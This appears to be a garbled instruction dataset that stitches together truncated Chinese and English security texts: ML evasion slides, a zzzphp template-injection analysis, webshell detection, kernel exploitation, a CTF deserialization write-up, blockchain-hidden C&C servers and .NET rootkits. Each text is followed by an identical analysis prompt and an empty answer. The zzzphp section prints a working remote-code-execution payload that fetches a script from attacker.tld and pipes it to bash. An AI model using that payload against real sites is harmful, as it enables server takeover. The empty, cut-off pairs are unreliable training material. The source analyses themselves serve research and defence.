confidence before
thresholding for good/bad
• …has your model
•
architecture & weights are
known
•
a direct attack on your
model
•
“easy” for deep learning
•
gradient perturbation
•
dueling models / GAN
• …can get good/bad
•
black box…
•
…but can arbitrarily probe
and get a label
•
label = malicious / benign
•
also a v...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

POC分析：
分析POC可得到以下信息：
1. 漏洞点由Cookie触发，Cookie值为 keys
2. Payload像是一个if标签，猜测可能为模板注入
3. 请求参数为 ?location=search，猜测可能是个路由
漏洞分析
复现环境为：zzzphp v2.0.3
从 /index.php 找起，跟踪到 inc/zzz_client.php 。搜索 location  关键字。接着找到这么一段代
码：
查看模板文件 /template/pc/cn2016/html/search.html  。发现了Poc中的 keys
curl -b 'keys={if:=`curl http://attacker.tld/poc.sh|bash`}{end if}'
'http://target.tld/?location=search'
1
//只要get传递了location，getlocation()就返回$_GET['location']
$location=getlocation();
switch ($location) {
    ......
    case 'search':
        //设置路径
        //TPL_DIR = /template/pc/cn2016/html
        $tplfile= TPL_DIR . 'search.html';
        break;
    ......
 }
.....
//对$tplfile进行file_get_contents()
//$zcontent为模板内容
$zcontent = load_file($tplfile,$location);
$parser = new ParserTemplate();
//解析模板
$zcontent = $parser->parserCommom($zcontent);
echo $zcontent;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
......
<title>关键词【{zzz:keys}】搜索结果-{zzz:sitetitle}</title>
......
1
2
3
跟进 parserCommom() 方法，该方法会进行标签解析。不过在这个漏洞中，仅需关注
parserlocation()  和 parserIfLabel() 即可。可以注意下 parserIfLabel()  的调用在
parserlocation()  之后，这个调用顺序是该漏洞的成因之一 ：
首先分析 parserlocation() 方法，该方法又调用了 parserSearch() 方法，关键代码如下：
public function parserCommom( $zcontent ) {
    $zcontent = $this->parserSiteLabel( $zcontent ); // 站点标签
    $zcontent = $this->ParseInTemplate( $zcontent ); // 模板标签
    $zcontent = $this->parserConfigLabel( $zcontent ); //配置表情
    $zcontent = $this->parserSiteLabel( $zcontent ); // 站点标签
    $zcontent = $this->parserNavLabel( $zcontent ); // 导航标签
    $zcontent = $this->parserCompanyLabel( $zcontent ); // 公司标签
    $zcontent = $this->parserUser( $zcontent ); //会员信息
    //parserlocation()
    $zcontent = $this->parserlocation( $zcontent ); // 站点标签
    $zcontent = $this->parserLoopLabel( $zcontent ); // 循环标签
    $zcontent = $this->parserContentLoop( $zcontent ); // 指定内容
    $zcontent = $this->parserbrandloop( $zcontent );
    $zcontent = $this->parserGbookList( $zcontent );
    $zconte...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Urban Exploration
          - A Hacker’s View
phreakmonkey (K.C.)
mutantMandias (Mandias)
phreakmonkey.com
Background:
What is Urban Exploration?
Urban Exploration is the practice of discovering, exploring,
and often photographing the more “off-beat” areas of
human civilization.
“This hobby consists of a lot more than just poking about in
abandoned buildings and storm drains and hanging out on
web boards trying to impress people. Being an urban
explorer is a whole way of looking at the world, where every
ladder, door, window, grate and hole in the ground is a
possible portal to adventure.”
- Jeff Chapman (“Ninjalicious”), 2004
What do we explore?
Civil Buildings:
Hospitals, Schools, Institutions
Industrial Buildings:
Factories, Transportation
Utilities & Infrastructure:
Steam Tunnels, Storm Drains, Utility Corridors
Residential
Hotels, High-rises, Houses (“Shanties”)
The UrbEx Subculture
Jeff Chapman (“Ninjalicious”) coined “Urban
Exploration” & operated the zine “Infiltration”
from 1996 – 2005.
Several web communities have sprung up over
the last ten years.
UER.CA (mostly USA)
DegGi5.com (NE USA)
28dayslater.co.uk  (UK)
Others...
Explorers vs. Tourists vs. Scenesters
Birds of a Feather
What Urban Explorers and Computer Hackers have in common
Perspective
"Behind-the-scenes" view of the word
Ability to look at things abstractly
Willing to use non-standard entry points
Secrecy
Built around a subculture with counterculture tendencies
Distrusting of newbies
Hesitant to allow outsiders in
Script Kiddies and Tourists
Gray Area Activities
Do you use your powers for good or for awesome?
Sense of "moral superiority" while engaging in legally
questionable behavior
Birds of a Feather
What Urban Explorers and Computer Hackers have in common
Frighteningly similar lack of fashion sense.
Black t-shirts are the shiznit, yo!
Social Engineering
Incredibly effective in UrbEx and Hacking
Higher stakes (walking away vs. county lock-up)
Exploitation by others
Taggers vs....


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

浅谈 PHP WebShell 的检测与防御
最近腾讯举办的⼀个webshell挑战赛，简单玩了⼀下，发现⼀些绕过的思路对于很多检测产品
都是通⽤的。说明这些产品在遇到的⼀些共性的检测难点上都没有⼀个很好的解决⽅案，以下
简单分析⼀下webshell检测的原理和困境以及⼀些绕过的思路。
正则识别
pass
ssdeep
通过模糊哈希匹配已知样本，可以允许⼀定范围内的修改，原理是分⽚分别计算哈希，连接后
得到字符串，⽐较时计算两个字符串的加权编辑距离，评估样本的相似度。加权编辑距离指⼀
个字符串最少经过多少次操作(增加、删除、修改、交换)得到另⼀个字符串，不同的操作对应
不同的权值，结果相加。
ssdeep只能针对已知样本⽽且没有⼤范围修改的情况，⽽且当样本量增加时⽐较操作的计算
量也会随之增加。ssdeep在恶意软件检测中有⽐较多的应⽤，但是针对webshell局限性⽐较
明显，⽤途有限。
静态分析
基本相当于⽩盒扫描，静态分析主要流程⼀般为词法分析、语法分析、污点分析。
词法分析(Lexical Analysis)
词法分析将字符序列转换为记号（token）序列的过程。词法只识别语素，不关⼼⼏号之间的
关系(⽐如括号是否匹配)。
直观的例⼦就是语法⾼亮，每⼀个不同颜⾊的⾊块就是⼀个token。php本身提供了⼀个
token_get_all 和 PhpToken::tokenize ⽅法将php源码转换成token数组。
⼀个demo程序
解析出的token流
<?php
$cmd = $_GET["cmd"];
$f = $_GET['f'];
if ($f == "eval") {
    exit("denied");
}
$f($cmd);
T_OPEN_TAG: '<?php\n'
T_WHITESPACE: '\n'
T_VARIABLE: '$cmd'
T_WHITESPACE: ' '
CHARACTOR =
T_WHITESPACE: ' '
T_VARIABLE: '$_GET'
CHARACTOR [
T_CONSTANT_ENCAPSED_STRING: '"cmd"'
CHARACTOR ]
CHARACTOR ;
T_WHITESPACE: '\n\n'
T_VARIABLE: '$f'
T_WHITESPACE: ' '
CHARACTOR =
T_WHITESPACE: ' '
T_VARIABLE: '$_GET'
CHARACTOR [
T_CONSTANT_ENCAPSED_STRING: ''f''
CHARACTOR ]
CHARACTOR ;
T_WHITESPACE: '\n\n
//....
语法分析(Parsing)
语法分析是以词法分析结果(token 流)为输⼊，进⾏语法检查，分析语法结构，构建中间语⾔
的过程。⼀般来说中间语⾔有多种不同的表达形式。⽐如抽象语法树、三地址码、静态单赋值
形式。
抽象语法树
抽象语法树⼀般是语法分析的第⼀步中间结果，他的每个节点代表⼀个运算符，该节点的⼦节
点代表这个运算符的运算分量
** ⼯具： **可以使⽤PHP-Parser将php代码转为AST，从php 7开始本身内部也会⽣成AST，
可以使⽤php-ast扩展将内部的AST导出。
<?php
$cmd = $_GET["cmd"];
$f = $_GET['f'];
if ($f == "eval") {
    exit("denied");
}
$f($cmd);
静态单赋值形式(Static Single-assignment Form) 与控制流图（Control Flow
Graph）
AST虽然⽐较直观，但是并不适合直接⽤来进⾏污染传播分析，⼀般还需要转成静态单赋值形
式的控制流图。静态单赋值也是⼀种编译过程的中间语⾔，他的特点是每个变量都只被赋值⼀
次。控制流图是由基本块和有向边组成的图，每个基本块内部都是顺序的执⾏语句，有向边表
示节点直接的控制流路径。例如下⾯的例⼦。
⽣成的CFG如下：
<?php
$cmd = $_GET["cmd"];
$f = $_GET['f'];
if ($f == "eval") {
    $cmd = "exit('denied')";
}
$f($cmd);
** ⼯具： **可以使⽤php-cfg项⽬将php代码⽣成SSA形式的CFG。此外可以使⽤vld项⽬将
php内部的opcode导出，不过opcode不是SSA形式的，需要⾃⼰做⼀个简单的转化。
静态分析的缺陷
因为php动态弱类型的特性，灵活度极⾼，单纯静态分析漏报的可能性很⾼，最简单的例⼦⽐
如
静态分析⽆法获取 $a 的内容，所以不能判断第三⾏具体执⾏了哪个函数...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Research
Demystifying Kernel Exploitation by
Abusing GDI Objects
Saif El-Sherei
saif@sensepost.com
!
Demystifying Kernel Exploitation by
Abusing GDI Objects 2017-07-18!
!
! !
!
pg.!2!
!
Introduction
In this paper, we will discuss integer overflows that lead to Kernel Pool memory corruption. We will
go through discovery, triggering, and exploiting the identified issues, by abusing two GDI objects, the
bitmap and palette objects. The concepts presented in this paper represent how I understood and
tackled them, they might not be very scientific in that sense.
Standing on the Shoulders of Giants
•
Nicolas Economou Economonu and Diego Juarez Juarez Abusing GDI for ring 0:
https://www.coresecurity.com/blog/abusing-gdi-for-ring0-exploit-primitives
•
360 Vulcan:  https://cansecwest.com/slides/2017/CSW2017_PengQiu-
ShefangZhong_win32k_dark_composition.pdf
•
K33n team: https://www.slideshare.net/PeterHlavaty/windows-kernel-exploitation-this-time-
font-hunt-you-down-in-4-bytes
•
J00ru, Halvar Flake, Tarjei Mandt, Halsten, Alex Ionescu, Nikita Terankov and many others.
The Setup
•
IDA Pro.
•
Zynamics BinDiff.
•
VirtualKD (much love).
•
WinDbg
•
GDIObjDump WinDbg Extension
•
VmWare Worksation:
-
Windows 8.1 x64.
-
Windows 7 SP1 x86.
!
Demystifying Kernel Exploitation by
Abusing GDI Objects 2017-07-18!
!
! !
!
pg.!3!
!
WinDbg Pool Analysis Tips
!poolused
This command can be used to view the pool usage of a certain Pool tag or for a certain Pool type.
!poolfind
This command is used to find all locations of allocated objects of the specified Pool tag.
!
Demystifying Kernel Exploitation by
Abusing GDI Objects 2017-07-18!
!
! !
!
pg.!4!
!
!pool
This command is used to view the Pool page where the specified address is located in.
!
Demystifying Kernel Exploitation by
Abusing GDI Objects 2017-07-18!
!
! !
!
pg.!5!
!
Kernel Pool
Kernel Pool Types
The kernel Pool is a sort of Heap memory that is used by the kernel, and it has many type...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

1
OWASP 代码审计指南
V2.0 中文版
注：本指南版权归 OWASP Foundation 所有。由刘传兴、孙维康翻译，仅供业内人士学习参考。
2
目 录
1 介绍 ......................................................................................................................................................... 10
1.1 前言 ................................................................................................................................................ 10
1.2 介绍 ................................................................................................................................................ 11
1.2.1 主要内容 ............................................................................................................................... 11
1.3 如何使用本文档 .......................................................................................................................... 11
2 相关技术和方法 .................................................................................................................................. 13
2.1 代码安全审计 .............................................................................................................................. 13
2.1.1 代码审计技术参考 ............................................................................................................. 13
2.1.2 为什么代码有漏洞？ ........................................................................................................ 14
2.1.3 什么是代码安全审计？ ................................................................................................... 16
2.1.4 代码审计和代码安全审计的区别是什么？ ............................................................... 17
2.1.5 确定安全源代码审计的规模？ ...................................................................................... 17
2.1.6 我们无法保证自己的安全 ............................................................................................... 20
2.1.7 耦合源代码审计和渗透测试 .......................................................................................... 22
2.1.8 代码审计对开发实践的潜在优势 ........................................


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

User Privacy for ISPs and Accidental ISPs
For latest version, please see http://www.eff.org/
User Privacy for ISPs and Accidental ISPs.
The Digital Millennium Copyright Act gives people who claim to own copyrights
tremendous power to invade the privacy of Internet users.  With only a clerk’s stamp on a
form, almost anyone can demand that an Internet service provider reveal its users’
personal information – if the ISP has that information.  If you’re served with a subpoena,
as the RIAA showed Verizon in court, you don’t get to choose whether or not to respond.
This means your data is at the mercy of not just record companies seeking out music
swappers, but also private detectives, spammers, and cranks of all kinds who might
demand users’ names and addresses.1  Whether you’re a big ISP or dorm-room sysadmin,
you can preserve your users’ privacy best by not keeping any logs containing that
information or connecting them to online activity in the first place – you can’t be made to
disclose information you don’t have.
If you are not in business as an ISP,  but are providing network connectivity – for
example, offering wired or wireless access to library patrons, visitors at a café, or friends
and neighbors in a residence – you may still be the target of one of these information
demands. But as a non-commercial ISP, you’ve probably got no good reason to keep this
info in the first place.  In fact, you may want to become an “accidental ISP” in order to
provide some additional privacy for people downstream from your router.  Changing the
way that you keep records and connect your users in simple ways can help you limit the
legal hassles you’ll face as a non-commercial ISP.
Computers are uniquely identified on their networks by IP address.2   To protect privacy,
network administrators can opt to assign pools of IP addresses dynamically, rotating a
fixed number of addresses randomly among a group of users, then delete assignment logs
promptly to protect the privacy of users. ...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

The Ether Wars: Exploits,
counter-exploits and
honeypots on Ethereum
AUGUST 11, 2019
ConsenSys Diligence | The Ether Wars: Exploits, counter-exploits and honeypots on Ethereum
2
About ConsenSys Diligence and MythX
• We audit smart contracts and build security tools for smart
contract developers
• Other who contributed to / influenced this talk:
○ Joran Honig, Nikhil Parasaram, Nathan Peercy (Mythril Core Team)
○ Sam Sun (shared his bot research)
○ Many other researchers
○ The awesome Ethereum security community
ConsenSys Diligence | The Ether Wars: Exploits, counter-exploits and honeypots on Ethereum
In this Talk
•Fast symbolic execution of EVM bytecode
•Exploit automation
•Exploiting script kiddies
•Exploiting those who try to exploit script kiddies
ConsenSys Diligence | The Ether Wars: Exploits, counter-exploits and honeypots on Ethereum
4
• Distributed state machine
What is Ethereum?
ConsenSys Diligence | The Ether Wars: Exploits, counter-exploits and honeypots on Ethereum
5
• Small programs written in a simple, stack-based language
• Immutable: Once deployed they can’t be changed
• Executing instructions costs gas
• Computation in a single transaction is bounded by the block gas limit
• However, state can be mutated over multiple transactions
EVM Smart Contracts
ConsenSys Diligence | The Ether Wars: Exploits, counter-exploits and honeypots on Ethereum
6
Symbolic Execution (1)
grantSurvival == True
grantSurvival == False
JUMPI
STOP
SELFDEST
RUCT
CALLDATA
LOAD
ISZERO
ISZERO
CALLDATA
LOAD
ISZERO
ISZERO
JUMPI
[]
[0x1]
[0x0]
[0x1]
[]
[]
[0x0]
[0x1]
[0x0]
[]
ConsenSys Diligence | The Ether Wars: Exploits, counter-exploits and honeypots on Ethereum
7
Symbolic Execution (2)
Symbolic Calldata
JUMPI
STOP
SELFDEST
RUCT
CALLDATA
LOAD
ISZERO
ISZERO
[]
[sym_calldata]
[bool(sym_calldata == 0)]
[bool(sym_calldata == 0) == 0)]
bool(sym_calldata == 0) == 0) == True
bool(sym_calldata == 0) == 0) == False
ConsenSys Diligence | The Ether Wars: Exploits, counter-exploits and honey...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

访问地址直接给出了源码: http://101.32.205.189
<?php
class ip {
    public $ip;
    public function waf($info){
    }
    public function __construct() {
        if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){
            $this->ip = $this->waf($_SERVER['HTTP_X_FORWARDED_FOR']);
        }else{
            $this->ip =$_SERVER["REMOTE_ADDR"];
        }
    }
    public function __toString(){
        $con=mysqli_connect("localhost","root","********","n1ctf_websign");
        $sqlquery=sprintf("INSERT
into
n1ip(`ip`,`time`)
VALUES
('%s','%s')",$this->waf($_SERVER['HTTP_X_FORWARDED_FOR']),time());
        if(!mysqli_query($con,$sqlquery)){
            return mysqli_error($con);
        }else{
            return "your ip looks ok!";
        }
        mysqli_close($con);
    }
}
class flag {
    public $ip;
    public $check;
    public function __construct($ip) {
        $this->ip = $ip;
    }
    public function getflag(){
if(md5($this->check)===md5("key****************")){
readfile('/flag');
}
        return $this->ip;
    }
    public function __wakeup(){
        if(stristr($this->ip, "n1ctf")!==False)
            $this->ip = "welcome to n1ctf2020";
        else
            $this->ip = "noip";
    }
    public function __destruct() {
        echo $this->getflag();
    }
}
if(isset($_GET['input'])){
    $input = $_GET['input'];
unserialize($input);
}
粗略一看，源码里 unserialize($input)的大字告诉我们是需要控制传入 input 参数的
反序列化数据来进行一些条件的满足从而来获得 flag
    public function getflag(){
if(md5($this->check)===md5("key****************")){
readfile('/flag');
}
        return $this->ip;
    }
最终达成的目的很明显就是运行 flag 类里的 getflag()方法，通过 readfile 来获得
flag
文
件
，
而
想
要
运
行
此
方
法
就
要
满
足
条
件
md5($this->check)===md5("key****************")，并且 key 我们是不知道的，看起
来也没有办法控制，可以控制的话还可以通过传入数组让两边 md5 函数来返回 null 来
进行条件满足，所以我们需要知道这个 key 的值
    public function __toString(){
        $con=mysqli_connect("localhost","root","********","n1ctf_websign");
        $sqlquery=sprintf("I...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Searching for the Light:
Adventures w/ OpticSpy
Joe Grand (@joegrand)
Hacker, Engineer, Daddy
OpticSpy
! Optical receiver to convert light into voltage
! Wavelength:  Visible and near IR light (420-940nm)
! Signal speed: 100Hz-1.5MHz
! Data stream polarity: Select normal v. inverted
! Gain and threshold adjustment via potentiometers
! USB interface for direct connection to host PC
Covert Channels
! Hidden methods to intentionally exfiltrate/transfer
data from a normally functioning system
! Could be achieved with HW and/or FW
modification
! Specifications modified or misdesigned before
manufacturing
! On physical device during manufacturing or in-
the-field
! Hardware implant via interdiction
Exploiting the Environment
! Leakage based on optical, acoustic, thermal, or RF
characteristics of a system
! Soft Tempest: Hidden Data Transmission Using
Electromagnetic Emanations (Kuhn, Anderson)
! Emanate Like a Boss: Generalized Covert Data
Exfiltration with Funtenna (Cui)
! Inaudible Sound as a Covert Channel in Mobile
Devices (Deshotels)
! BitWhisper: Covert Signaling Channel between
Air-Gapped Computers using Thermal
Manipulations (Guri et al.)
Blinkenlights
! Using LEDs to exfiltrate/send data
! Modulation faster than the human eye can detect
! Optical covert channels
! Information Leakage from Optical Emanations
(Loughry and Umphress, 2002)
! Silence on the Wire: A Field Guide to Passive
Reconnaissance and Indirect Attacks (Zalewski)
! Extended Functionality Attacks on IoT Devices:
The Case of Smart Lights (Ronen, Shamir)
! xLED: Covert Data Exfiltration from Air-Gapped
Networks via Router LEDs (Guri et al.)
A Selection of Optical History
! Alexander Graham Bell's Photophone (1880)
! Fiber optic communications (~1963)
! Laser tag (~1979)
! Optical networking systems (VLC, Li-Fi, FSO) (2011)
Related Projects
! Heathkit Laser Trainer/Receiver (1985)
! Engineer’s Mini Notebook: Optoelectronics Circuits
(Forest Mims III, 1985)
! IRis...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

.NET Framework Rootkits – Backdoors Inside Your Framework
1
.NET Framework Rootkits:
Backdoors inside your
Framework
March, 2009 (Revised)
Erez Metula
ErezMetula@2bsecure.co.il
ErezMetula@gmail.com
 .NET Framework Rootkits – Backdoors Inside Your Framework
2
Table of content
TABLE OF CONTENT .........................................................................................................................2
ABSTRACT ............................................................................................................................................3
INTRODUCTION..................................................................................................................................4
HOW CAN THE FRAMEWORK BE CHANGED?..........................................................................................4
MODIFYING THE FRAMEWORK CORE .......................................................................................6
OVERVIEW - STEPS & TOOLS FOR CHANGING THE FRAMEWORK...........................................................6
LOCATE THE DLL IN THE GAC ............................................................................................................6
ANALYZE THE DLL..............................................................................................................................7
DECOMPILE THE DLL USING ILDASM ...................................................................................................9
MODIFYING THE MSIL CODE .............................................................................................................10
RECOMPILE THE DLL USING ILASM....................................................................................................11
BYPASSING THE GAC STRONG NAME MODEL....................................................................................11
REVERTING BACK FROM NGEN NATIVE DLL................................................................................


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

apache proxy⸺
0x00
apacheoverviewhttps://t.zsxq.com/ubm2rVf
p
apachhttps://t.zsxq.com/rBmaU7a
hookhttps://www.anquanke.com/post/id/257539
0x01
p
vscodec/c++ubuntuapache
hook
[root@centos httpd-2.2.23-worker]# export SHOW_HOOKS=1
[root@centos httpd-2.2.23-worker]# ./bin/httpd -k start
Registering hooks for core.c
Hooked create_connection
Hooked pre_connection
Hooked post_config
Hooked translate_name
Hooked map_to_storage
Hooked open_logs
Hooked child_init
Hooked handler
……
httpdhook
mod_infohook
http://httpd.apache.org/docs/2.2/mod/mod_info.html
httpd.conf
LoadModule info_module modules/mod_info.so
<Location /server-info>
      SetHandler server-info
      Deny from all
      Allow from all
 </Location>
 http://host/server-info
0x02
mod_proxy.c33933450
AP_DECLARE_MODULE
proxy
APR_HOOK_STRUCT
"namespace"_hook_"hookname"hook
proxy_hook_scheme_handler
proxy_hook_canon_handler
proxy_hook_pre_request
proxy_hook_post_request
proxy_hook_request_status
proxy_hook_check_trans
proxy_run_*proxy_hook_get_*
ap_hook_scheme_handlerhookproxy.cmod_proxy_http.c
proxyhookproxy_hook_scheme_handlerproxy_hook_canon_handler
APR_IMPLEMENT
run_firstrun_allrun_first
apacheok
run_allfirstOKDECLINED
proxy_hook_scheme_handlerproxy_hook_canon_handlerrun_first.
0x03
ap_hook_handler


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

From LNK to RCE
Finding bugs in Windows Shell Link Parser
Lays
Who am I - Lays
• Senior Researcher at TeamT5
• Focus on Reverse Engineering / Vulnerability Research
• MSRC Most Valuable Security Researcher 2019 / 2020
• Acknowledged by Microsoft / Samsung / NETGEAR / Synology …
• HITCON / 217 CTF Team
• Co-Founder of Pwnable.tw
Agenda
• Motivation
• Windows LNK File Format
• Fuzzing the Parser
• Case Study
• Reversing the Undocumented Logic
• Case Study
• Conclusion
Motivation
Motivation
• While studying for master’s degree
• I created a Fuzzer for Windows
• Based on WinAFL + Static Binary Instrumentation
• High Performance Coverage-Guided Fuzzing without source code
• I need some Real-World Targets!
Finding Fuzzing Targets
• Complex Binary Format
• Which is (Win)AFL good at
• Better to be remote triggerable
Finding Fuzzing Targets
• Complex Binary Format
• Which is (Win)AFL good at
• Better to be remote triggerable
Windows LNK File
• Also known as Shortcut
• Windows Shell Link
• What you See is What you Parsed … and get you Pwned
• Removable Drives
• Remote Share
• Sounds cool, let’s fuzz this
DEMO - LNK DoS
Windows LNK Format
LNK is “ REALLY ” Complicated
• On Linux / macOS…
• It’s really hard to remember the order…
(A) ln -s <src> <dst>
(B) ln -s <dst> <src>
LNK is “ REALLY ” Complicated
• But on Windows…
• It’s harder
SHELL_LINK = SHELL_LINK_HEADER
[LINKTARGET_IDLIST]
[LINKINFO]
[STRING_DATA]
*EXTRA_DATA
Windows Shell Link File Format
ShellLinkHeader
LinkTargetIDList
LinkInfo
StringData
ExtraData
HeaderSize
LinkCLSID
LinkFlags
FileAttributes
CreationTime
AccessTime
WriteTime
FileSizes
IconIndex
ShowCommand
HotKey
HasLinkTargetIDList
HasLinkInfo
HasName
HasRelativePath
HasWorkingDir
HasArguments
HasIconLocation
0x4C
00021401-0000-0000-C000-000000000046
Windows Shell Link File Format
ShellLinkHeader
LinkTargetIDList
LinkInfo
StringData
ExtraData
Windows Shell Link File Format
ShellLinkHeader
LinkTargetIDList
LinkInfo
StringData
ExtraData
Windows Folder -> ...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Lockpicking
Forensics
datagram
datagram.layerone@gmail.com
Defcon 17, 2009
Agenda
 How locks/picks work
 Normal wear
 Lock Analysis
 Key Analysis
 Investigative process
Destructive entry still #1!
How Locks Work
How Locks Work
How Locks Work
How Locks Work
Pin Binding
Pin Binding
Picking a Lock
Apply tension
Find binding pin
Raise to shear line
Repeat
Picking a Lock
Forensic Locksmithing
 1976 - Art Paholke, Chicago PD
 Locks, Safes, Security (Tobias)
 Werkzeugspur (Goth)
 Impressioning (Diederichsen)
 Determine method of entry
 Identify evidence, tool marks, techniques
 Provide expert testimony
Pins – New
Pins – New
Key - New
Plug - New
Pins – 100 uses
Pins – 100 uses
Plug – 100 uses
Key – 100 Uses
Pins – 1,500 uses (pin 1)
Pins – 1,500 uses (pin 5)
Key – 1,500 uses
Plug – 1,500 uses
Pins - 5,000 uses (pin 1)
Pins - 5,000 uses (pin 5)
Plug – 5,000 uses
Plug – 5,000 uses
Plug – 5,000 uses
Key - 5,000 uses
Forensic Analysis
Components (pins, springs, etc)
Plug
Cylinder
Cam/Actuator
Keys
Bolt
Door, window, wall, etc
Lockpicking
Lockpicking - Pins
Lockpicking - Pins
Lockpicking - Pins
Lockpicking - Pins
Lockpicking - Pins
Lockpicking - Pins
Lockpicking - Pins
Lockpicking - Pins
Lockpicking - Pins
Lockpicking - Pins
Lockpicking - Pins
Lockpicking - Plug
Lockpicking - Plug
Lockpicking - Plug
Lockpicking - Plug
Lockpicking - Plug
Lockpicking - Plug
Lockpicking - Tension
Lockpicking - Tension
Lockpicking - Tension
Lockpicking - Cam
Lockpicking - Cam
Lockpicking - Medecoder
Pick Guns
Pick Guns - Pins
Pick Guns - Pins
Pick Guns - Cam
Pick Guns - Cam
Key Bumping
Key Bumping
Key Bumping - Pins
Key Bumping - Pins
Key Bumping - Pins
Key Bumping - Pins
Key Bumping - Pins
Key Bumping - Pins
Key Bumping - Plug
Key Bumping - Face
Key Bumping - Face
Key Bumping - Plug
Impressioning
Impressioning - Manipulation
Impressioning - Manipulation
Impressioning - Plug
Impressioning – UV residue
Impressioning – UV Residue
Decoding
 Depends on technique
 Covert  vs. su...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

利用区块链技术隐藏C&C服务器IP
这个月刚结束的Blackhat亚洲会议上有很多有意思的议题。其中有一个议题：How Did the
Adversaries Abusing Bitcoin Blockchain Evade Our Takeover引起了我的兴趣。主要是介绍了攻
击者利用比特币区块链的技术隐藏C&C服务器IP逃避接管的技术。简单学习记录一下。
介绍
网络安全一直是猫捉老鼠的游戏。过去，我们看到恶意软件生态系统采用了诸如代码混淆，多态性，域
生成算法（DGA）以及虚拟机和沙箱规避等概念，只要防御能够对这些威胁进行一致且普遍的抑制。
一些攻击者最近开始使用比特币区块链来传达命令和控制（C＆C）信息。由于一旦矿工确认交易，任何
人都无法阻止或从区块链中删除交易，这意味着对手不必担心其C＆C位置的交易会被撤消。恶意软件策
略，技术和程序（TTP）的最新创新意味着，现有的常见防御措施（例如DGA预计算或漏洞域）将不再
起作用。
来自blackhat官方议题介绍
常用的缓解或检测C&C server的方式
预测恶意域名并停止它
检测查找模式，尤其是NXDomain
在搜索其C＆C服务器时，受感染的计算机会对当前不存在的域名执行大量查询。这些所造成的
NXDomain响应泛滥在网络环境中很明显，因为用户可能偶尔会错误键入域名，但不会以固定间隔
连续输入数百次。许多解决方案利用定期或批量查找结合大量NXDomain来对受感染的计算机进行
本地化
找到并抓住物理基础架构（我的理解是定位到具体的服务器厂商，服务器架设的地址等）
采用区块链技术隐藏C&C server的优势
没有什么可预测的。因为是利用的区块链上的交易，也不可从链上删除
没有对异常站点的DNS查找。从来没有任何NXDomain
大多数藏在TOR网关后面，难以被定位
实现技术
我们需要将特定的比特币接收地址硬编码进恶意软件加载器的源代码中，通过api接口监视付款交易（比
如api.blockcypher.com）。从接口中检索出与接收地址相关的最近的交易记录，用一种机制解码出当前
使用的C&C server的IP地址。
接下来说说这个编码解码的机制。首先我们以一个1BkeG开头的地址（硬编码进恶意软件加载器中
的），从一个或多个其他比特币地址（比特币数量在0.0000101-0.00065278或者0.12USD-70.75USD之
间变化) 接收付款。而我们需要编码的C&C server的IP地址就是交易量来编码出来的。通过十六进制先转
换satoshi（聪）的交易值，并交换两个字节，再转化为十进制拼接组成。
这里的satoshi是比特币的最小单位，1satoshi=0.00000001BTC。我觉得攻击者利用satoshi作单
位应该是能构造出一个五位数从而转化为两个十六进制字节从而进行操作。
而此时我们取最近的两次交易，发送特定数量的btc，就能构造出4组字节，从而拼接成ip地址
这里的付款人被称为"发件人"，接收地址称为"IP信号"，由恶意软件加载器监控。
而技术也不是空头理论，已经有攻击者应用到恶意软件中去。具体案例是名为Pony的恶意软件。
关于改进策略
原先的机制通过两次单独的交易向服务器IP地址发出信号，当使用两个单独的事务时，仅当包括交易并
由开采区块链中下一个区块的人确认并通过交易时，通过比特币系统发送的付款才是最终的交易。通过
区块链网络的传播会产生一些延迟，此外，矿工将独立确定将哪些交易包括在其区块中。因此，如果恶
意软件所有者发送两个交易的顺序不同，僵尸程序将组成错误的IP地址。
攻击者正在试验和完善两种策略来避免和缓解这些操作问题。我们将使用的第一个策略称为时间滞后，
其中延迟发送事务以将其延迟到不同的块中。后来，对手试图通过向矿工支付更高的奖励来控制区块链
的行为，我们将其称为费用命令。
时间滞后
为了确保交易的顺序让僵尸程序正确识别C&C server的IP地址。攻击者提出了一种简单且明显有效的策
略是确保在其中一项交易之前先记录下来，这是在两者之间造成人为的延迟。只有在第一个交易在一个
区块中得到确认并在整个网络中传播后，才触发第二个交易。但代价是存在一个间歇性的时间段，在此
期间，要是有别的交易，僵尸程序将通过解码新的和旧的交易值来组成错误的C＆C地址。
费用命令
付款被包含在区块链中的方式不仅是一个问题，它在什么时候发送，而且是如何付款的。为了将交易包
括在区块链中，发送者必须支付一定的费用。该费用取决于交易的大小（以字节为单位），但发送方可
以选择提供更高的费用，以增加矿工将交易包括在当前开采的区块中的动力。
通过设置正确的费用金额，恶意软件所有者可以影响两个交易的优先级并成为同一区块的一部分，同时
仍保持正确的顺序。
然而...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Sleight of Mind
Magic and Social Engineering
Mike Murray
Tyler Reguly
1
A DANGEROUS OPENER
Credit: Luke Jermay
2
EXPLANATION
3
THE FORCE IS WITH YOU
4
EXPLANATION
5
COIN BENDING
Credit: Luke Jermay
6
EXPLANATION
7
EQUIVOQUE
Credit: Luke Jermay
8
EXPLANATION
9
IN THE CARDS
10
EXPLANATION
11
RGM
Credit: Luke Jermay
12
EXPLANATION
13
QUESTIONS?
Email Us:
mmurray@episteme.ca
ht@computerdefense.org
14


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

反间谍计划：
⾃自建基站与数据嗅探⽅方法论
百度安全实验室 ⼩小灰灰
关于我
百度安全实验室  ⾼高级安全研究员
研究领域：IoT安全/AI安全/⽆无⼈人⻋车
安全
多次破解硬件设备
之前负责：
•
BSRC、应急处置、0day分析
•
百度产品 安全评估
•
百度安全监控体系建设
⼤大纲
•  联⽹网IOT设备测试⽬目的、测试⽅方法
